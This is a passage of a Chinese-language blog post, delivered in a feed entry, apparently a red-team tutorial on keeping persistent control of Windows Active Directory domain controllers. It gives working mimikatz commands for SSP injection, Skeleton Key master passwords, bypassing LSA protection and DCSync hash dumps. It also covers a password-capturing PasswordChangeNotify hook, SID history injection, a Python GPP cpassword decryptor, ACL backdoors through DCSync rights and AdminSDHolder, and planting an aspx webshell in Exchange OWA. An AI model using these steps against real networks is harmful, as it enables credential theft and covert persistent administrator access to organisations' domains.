添加成功，如果此时输入了新的凭据(例如runas，或者用户锁屏后重新登录)，将会生成文件<code>kiwissp.log</code></p><p>   方法2的自动化实现：</p><p>   <a href="https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/persistence/Install-SSP.ps1" target="_blank" rel="noopener">https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/persistence/Install-SSP.ps1</a></p><h5><span id="方法3使用rpc控制lsass加载ssp">方法3：使用RPC控制lsass加载SSP</span></h5><p>   XPN开源的代码：</p><p>   <a href="https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e" target="_blank" rel="noopener">https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e</a></p><p>   测试如下图</p><p>   <img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\01598fc92c60f512ae9d.png" alt="111"></p><p>   添加成功</p><p>   优点：</p><ul><li>不需要写注册表</li><li>不调用API AddSecurityPackage</li><li>不需要对lsass进程的内存进行写操作</li><li>lasss进程中不存在加载的dll</li></ul><h4><span id="memory-updating-of-ssps">Memory Updating of SSPs</span></h4><p>   mimikatz同时还支持通过内存更新ssp，这样就不需要重启再获取账户信息</p><p>   需要使用mimikatz.exe，命令如下：</p>   <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">privilege::debug</span><br><span class="line">misc::memssp</span><br></pre></td></tr></table></figure><p>   通过修改lsass进程的内存，实现从lsass进程中提取凭据</p><p>   <img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568097386864.png" alt="1568097386864"></p><p>   命令执行后，如果此时输入了新的凭据(例如runas，或者用户锁屏后重新登录)，将会在<code>c:\windows\system32</code>下生成文件<code>mimilsa.log</code></p><p>   <img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568097442668.png" alt="1568097442668"></p><h3><span id="skeleton-key">Skeleton Key</span></h3><p>Skeleton Key是一种不需要域控重启即能生效的维持域控权限方法。</p><h4><span id="简介">简介</span></h4><blockquote><p>Skeleton Key被安装在64位的域控服务器上<br>支持Windows Server2003—Windows Server2012 R2<br>能够让所有域用户使用同一个万能密码进行登录<br>现有的所有域用户使用原密码仍能继续登录<br>重启后失效<br>支持 Skeleton Key</p></blockquote><h4><span id="利用过程">利用过程</span></h4><h5><span id="在域控安装skeleton-key">在域控安装Skeleton Key</span></h5><p><strong>mimikatz命令：</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">privilege::debug</span><br><span class="line">misc::skeleton</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568098265598.png" alt="1568098265598"></p><h5><span id="域内主机使用skeleton-key登录域控">域内主机使用Skeleton Key登录域控</span></h5><p>mimikatz的默认Skeleton Key设置为mimikatz</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">net use \\OWA2010SP3.0day.org mimikatz /user:administrator@0day.org</span><br><span class="line">dir \\OWA2010SP3.0day.org\c$</span><br></pre></td></tr></table></figure><p> Skeleton Key只是给所有账户添加了一个万能密码，无法修改账户的权限</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568099168617.png" alt="1568099168617"></p><h5><span id="绕过lsa-protection">绕过LSA Protection</span></h5><p><strong>配置LSA Protection</strong></p><p>注册表位置：<br><code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa</code></p><p>新建-<code>DWORD</code>值，名称为<code>RunAsPPL</code>,数值为<code>00000001</code></p><p>重启系统</p><p><strong>使用mimidrv.sys绕过</strong></p><p><strong>mimikatz命令：</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">privilege::debug</span><br><span class="line">!+</span><br><span class="line">!processprotect /process:lsass.exe /remove</span><br><span class="line">misc::skeleton</span><br></pre></td></tr></table></figure><p><strong>绕过cmd、regedit、taskmgr</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">privilege::debug</span><br><span class="line">misc::cmd</span><br><span class="line">misc::regedit</span><br><span class="line">misc::taskmgr</span><br></pre></td></tr></table></figure><h3><span id="hook-passwordchangenotify">Hook PasswordChangeNotify</span></h3><h4><span id="简介">简介</span></h4><p>Hook PasswordChangeNotify这个概念最早是在2013年9月15日由clymb3r提出，通过Hook PasswordChangeNotify拦截修改的帐户密码。</p><p>需要了解的相关背景知识如下：</p><ol><li><p>在修改域控密码时会进行如下同步操作：</p><p>a. 当修改域控密码时，LSA首先调用PasswordFileter来判断新密码是否符合密码复杂度要求</p><p>b. 如果符合，LSA接着调用PasswordChangeNotify在系统上同步更新密码</p></li><li><p>函数PasswordChangeNotify存在于rassfm.dll</p></li><li><p>rassfm.dll可理解为Remote Access Subauthentication dll，只存在于在Server系统下，xp、win7、win8等均不存在</p></li></ol><p>Hook PasswordChangeNotify有如下优点：</p><ol><li>不需要重启</li><li>不需要修改注册表</li><li>甚至不需要在系统放置dll</li></ol><h4><span id="利用过程">利用过程</span></h4><p>实现Hook PasswordChangeNotify共包含两部分：Hook dll和dll注入。</p><p><a href="https://github.com/3gstudent/Hook-PasswordChangeNotify" target="_blank" rel="noopener">https://github.com/3gstudent/Hook-PasswordChangeNotify</a></p><p>编译工程，生成HookPasswordChange.dll</p><p>MFC设置为在静态库中使用MFC</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568103854190.png" alt="1568103854190"></p><p>上传HookPasswordChangeNotify.ps1和HookPasswordChange.dll到域控主机</p><p>管理员权限执行：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568104973054.png" alt="1568104973054"></p><p>手动修改域控密码后<br>在C:\Windows\Temp下可以找到passwords.txt，其中记录了新修改的密码。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568105156124.png" alt="1568105156124"></p><p>自定义dll代码实现更多高级功能，如自动上传新密码。</p><p>以下链接中的代码可作为参考，其中实现了将获取的新密码上传至Http服务器</p><p><a href="http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html" target="_blank" rel="noopener">http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html</a></p><h3><span id="dsrm同步指定域用户">DSRM同步指定域用户</span></h3><h4><span id="dsrm密码同步">DSRM密码同步</span></h4><p>Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步，Windows Server 2003不支持DSRM密码同步。</p><p>利用如下命令：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\Administrator&gt;ntdsutil</span><br><span class="line">ntdsutil: set DSRM password</span><br><span class="line">Reset DSRM Administrator Password: SYNC FROM DOMAIN ACCOUNT test</span><br><span class="line">Password has been synchronized successfully.</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568118352518.png" alt="1568118352518"></p><p>同步之后使用mimikatz查看test用户和SAM中Administrator的NTLM值。如下图所示，可以看到两个账户的NTLM值相同，说明确实同步成功了。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">privilege::debug</span><br><span class="line">lsadump::lsa /name:test /inject</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568118643769.png" alt="1568118643769"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">privilege::debug</span><br><span class="line">token::elevate</span><br><span class="line">lsadump::sam</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568118740466.png" alt="1568118740466"></p><h4><span id="修改注册表允许dsrm账户远程访问">修改注册表允许DSRM账户远程访问</span></h4><p>修改注册表 <code>HKLM\System\CurrentControlSet\Control\Lsa 路径下的 DSRMAdminLogonBehavior</code> 的值为2。</p><p>PS：系统默认不存在<code>DSRMAdminLogonBehavior</code>，手动添加。</p><p>DSRM账户是域控的本地管理员账户，并非域的管理员帐户。所以DSRM密码同步之后并不会影响域的管理员帐户。另外，在下一次进行DSRM密码同步之前，NTLM的值一直有效。所以为了保证权限的持久化，尤其在跨国域或上百上千个域的大型内网中，最好在事件查看器的安全事件中筛选事件ID为4794的事件日志，来判断域管是否经常进行DSRM密码同步操作。</p><h3><span id="sid-history">SID history</span></h3><p>SID history是支持迁移方案的属性。每个用户帐户都有一个关联的安全标识符（SID），用于跟踪安全主体和连接到资源时的帐户及访问权限。SID历史记录允许另一个帐户的访问被有效的克隆到另一个帐户。这是非常有用的，其目的是确保用户在从一个域移动（迁移）到另一个域时能保留原有的访问权限。由于在创建新帐户时用户的SID会发生更改，旧的SID需要映射到新的帐户。当域A中的用户迁移到域B时，将在DomainB中创建新的用户帐户，并将DomainA用户的SID添加到DomainB的用户帐户的SID历史记录属性中。这样就可以确保DomainB用户仍可以访问DomainA中的资源。</p><p>Mimikatz支持SID历史注入到任何用户帐户（需要域管理员或等效的权限）。在这种情况下，攻击者创建用户帐户“test”，并将该域的默认管理员帐户“Administrator”（RID 500）添加到帐户的SID历史记录属性中。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">privilege::debug</span><br><span class="line">sid::add /new:[DomainAdmin&apos;s SID or NAME] /sam:[CommonUserNAME]</span><br></pre></td></tr></table></figure><p>当test登录时，将对与该帐户相关联的SID进行评估，并根据这些SID来确定访问权限。由于test帐户与Administrator帐户（RID 500）相关联，因此，test帐户具有Administrator帐户的所有访问权限，包括域管理员权限。</p><h3><span id="gpo组策略后门">GPO[组策略]后门</span></h3><h4><span id="利用sysvol还原组策略中保存的密码">利用SYSVOL还原组策略中保存的密码</span></h4><p>使用Group Policy Preferences配置组策略批量修改用户本地管理员密码。</p><p>开始-管理工具-组策略管理</p><p>选择域，创建GP0</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568190482125.png" alt="1568190482125"></p><p>设置名称为test</p><p>test-设置-右键-编辑-用户配置-首选项-控制面板设置-本地用户和组</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568190567581.png" alt="1568190567581"></p><p>更新，administrator(内置),设置密码</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568190624962.png" alt="1568190624962"></p><p>委派，设置权限</p><p>在详细一栏，可看到该策略对应的ID为<code>{05F24259-49D8-481A-8408-567DC3155838}</code></p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568190671139.png" alt="1568190671139"></p><p>组策略配置完成，域内主机重新登录，即可应用此策略</p><p>在对应的文件夹下能找到配置文件Groups.xml，具体路径如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">\\0day.org\SYSVOL\0day.org\Policies\&#123;05F24259-49D8-481A-8408-567DC3155838&#125;\User\Preferences\Groups</span><br></pre></td></tr></table></figure><p>Groups.xml内容如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;</span><br><span class="line">&lt;Groups clsid=&quot;&#123;3125E937-EB16-4b4c-9934-544FC6D24D26&#125;&quot;&gt;&lt;User clsid=&quot;&#123;DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1&#125;&quot; name=&quot;Administrator (内置)&quot; image=&quot;2&quot; changed=&quot;2019-09-11 08:29:51&quot; uid=&quot;&#123;32DED100-2B0D-41CB-8341-F5FBCF77FE13&#125;&quot;&gt;&lt;Properties action=&quot;U&quot; newName=&quot;&quot; fullName=&quot;&quot; description=&quot;&quot; cpassword=&quot;Hd/xxCN9bFRTj8C2az+0t3el0u3Dn68pZ1Sd4IHmbPw&quot; changeLogon=&quot;0&quot; noChange=&quot;0&quot; neverExpires=&quot;1&quot; acctDisabled=&quot;0&quot; subAuthority=&quot;RID_ADMIN&quot; userName=&quot;Administrator (内置)&quot;/&gt;&lt;/User&gt;</span><br><span class="line">&lt;/Groups&gt;</span><br></pre></td></tr></table></figure><p>cpassword项，保存的是加密后的内容<code>&quot;Hd/xxCN9bFRTj8C2az+0t3el0u3Dn68pZ1Sd4IHmbPw&quot;</code></p><p>加密方式为AES 256，虽然目前AES 256很难被攻破，但是微软选择公开了该AES 256加密的私钥，地址如下：</p><p><a href="https://msdn.microsoft.com/en-us/library/cc422924.aspx" target="_blank" rel="noopener">https://msdn.microsoft.com/en-us/library/cc422924.aspx</a></p><p>借助该私钥，我们就能还原出明文</p><p>采用Chris Campbell @obscuresec开源的powershell脚本，地址如下：</p><p><a href="https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1" target="_blank" rel="noopener">https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1</a></p><p>该脚本可在域内主机上执行，能够自动查询共享文件夹\SYSVOL中的文件。</p><p>也可以利用如下代码进行解密</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/python</span><br><span class="line">import sys</span><br><span class="line">from Crypto.Cipher import AES</span><br><span class="line">from base64 import b64decode</span><br><span class="line"></span><br><span class="line">if(len(sys.argv) != 2):</span><br><span class="line">  print &quot;decrypt.py &lt;cpassword&gt;&quot;</span><br><span class="line">  sys.exit(0)</span><br><span class="line"></span><br><span class="line">key = &quot;&quot;&quot;4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b&quot;&quot;&quot;.decode(&apos;hex&apos;)</span><br><span class="line">cpassword = sys.argv[1]</span><br><span class="line">cpassword += &quot;=&quot; * ((4 - len(cpassword) % 4) % 4)</span><br><span class="line">password = b64decode(cpassword)</span><br><span class="line">out = AES.new(key, AES.MODE_CBC, &quot;\x00&quot; * 16)</span><br><span class="line">out = out.decrypt(password)</span><br><span class="line">print out[:-ord(out[-1])].decode(&apos;utf16&apos;)</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568191571479.png" alt="1568191571479"></p><h4><span id="通过group-policy-management-console-gpmc-实现计划任务的远程执行">通过Group Policy Management Console (GPMC) 实现计划任务的远程执行</span></h4><p>同上创建GPO，在计划任务中添加。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568192348420.png" alt="1568192348420"></p><p>第四个任务选项会在每次组策略刷新时执行。</p><p>四种计划任务的区别可参考官方文档：</p><p><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc770904(v%3dws.11" target="_blank" rel="noopener">https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc770904(v%3dws.11</a>)</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568192727717.png" alt="1568192727717"></p><p>对于域内的主机，可以等待90分钟使组策略自动更新，也可以在客户端执行如下命令强制刷新组策略：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpupdate /force</span><br></pre></td></tr></table></figure><h3><span id="dcsync">DCSync</span></h3><h4><span id="利用dcsync导出域内所有用户hash的方法">利用DCSync导出域内所有用户hash的方法</span></h4><p><strong>利用条件：</strong></p><p>获得以下任一用户的权限：</p><ul><li>Administrators组内的用户</li><li>Domain Admins组内的用户</li><li>Enterprise Admins组内的用户</li><li>域控制器的计算机帐户</li></ul><p>导出域内所有用户的hash：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimikatz.exe privilege::debug &quot;lsadump::dcsync /domain:rootkit.org /all /csv&quot; exit</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568197137085.png" alt="1568197137085"></p><h4><span id="利用dcsync在域内维持权限的方法">利用DCSync在域内维持权限的方法</span></h4><p><strong>利用条件：</strong></p><p>获得以下任一用户的权限：</p><ul><li>Domain Admins组内的用户</li><li>Enterprise Admins组内的用户</li></ul><p><strong>利用原理：</strong></p><p>向域内的一个普通用户添加如下三条ACE(Access Control Entries)：</p><ul><li>DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)</li><li>DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)</li><li>DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)</li></ul><p>该用户即可获得利用DCSync导出域内所有用户hash的权限。</p><p>Windows系统中的ACL(Access Control List)，用来表示用户（组）权限的列表。</p><p><strong>利用方法：</strong></p><p>利用PowerView.ps1，添加ACE的命令如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Add-DomainObjectAcl -TargetIdentity &quot;DC=0day,DC=org&quot; -PrincipalIdentity webadmin -Rights DCSync -Verbose</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568202728574.png" alt="1568202728574"></p><p>删除ACE的命令：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Remove-DomainObjectAcl -TargetIdentity &quot;DC=0day,DC=org&quot; -PrincipalIdentity webadmin -Rights DCSync -Verbose</span><br></pre></td></tr></table></figure><p>在域内一台登录了sqladmin用户的主机上面，就能使用mimikatz的DCSync功能</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimikatz.exe privilege::debug &quot;lsadump::dcsync /domain:0day.org /all /csv&quot; exit</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568203197954.png" alt="1568203197954"></p><h3><span id="adminsdholder">AdminSDHolder</span></h3><p>AdminSDHolder是一个特殊的AD容器，具有一些默认安全权限，用作受保护的AD账户和组的模板</p><p>Active Directory将采用AdminSDHolder对象的ACL并定期将其应用于所有受保护的AD账户和组，以防止意外和无意的修改并确保对这些对象的访问是安全的</p><p>如果能够修改AdminSDHolder对象的ACL，那么修改的权限将自动应用于所有受保护的AD账户和组，这可以作为一个域环境权限维持的方法</p><h4><span id="向adminsdholder对象添加acl">向AdminSDHolder对象添加ACL</span></h4><p>使用PowerView，添加用户dbadmin 的完全访问权限</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Add-ObjectAcl -TargetSearchBase &quot;LDAP://CN=AdminSDHolder,CN=System,DC=rootkit,DC=org&quot;  -PrincipalIdentity dbadmin -Verbose -Rights All</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568215397075.png" alt="1568215397075"></p><p>默认等待60分钟以后，dbadmin获得对所有受保护的AD账户和组的完全访问权限</p><p>可以通过修改注册表的方式设置权限推送的间隔时间，注册表位置如下：</p><ul><li>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters,AdminSDProtectFrequency,REG_DWORD</li></ul><p>例如修改成等待60秒的命令如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568215431765.png" alt="1568215431765"></p><p>dbadmin用户可以直接访问域控。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568215569041.png" alt="1568215569041"></p><h4><span id="删除adminsdholder中指定用户的acl">删除AdminSDHolder中指定用户的ACL</span></h4><p>删除用户dbadmin的完全访问权限，命令如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Remove-DomainObjectAcl -TargetSearchBase &quot;LDAP://CN=AdminSDHolder,CN=System,DC=rookit,DC=org&quot; -PrincipalIdentity dbadmin -Rights All -Verbose</span><br></pre></td></tr></table></figure><h3><span id="非常规方法">非常规方法</span></h3><p>若域控主机为owa主机，即exchange服务器主机，我们可以在owa目录下留一个aspx的木马。用作维持权限。</p><p>在如下目录中加入一个aspx木马。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568213801260.png" alt="1568213801260"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3&gt;&lt;span id=&quot;黄金票据&quot;&gt;黄金票据&lt;/span&gt;&lt;/h3&gt;&lt;h4&gt;&lt;span id=&quot;简介&quot;&gt;简介&lt;/span&gt;&lt;/h4&gt;&lt;p&gt;Golden Ticket（下面称为金票）是通过伪造的TGT（TicketGranting Ticket），因为只要有了高权限的TGT，那
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
</feed>
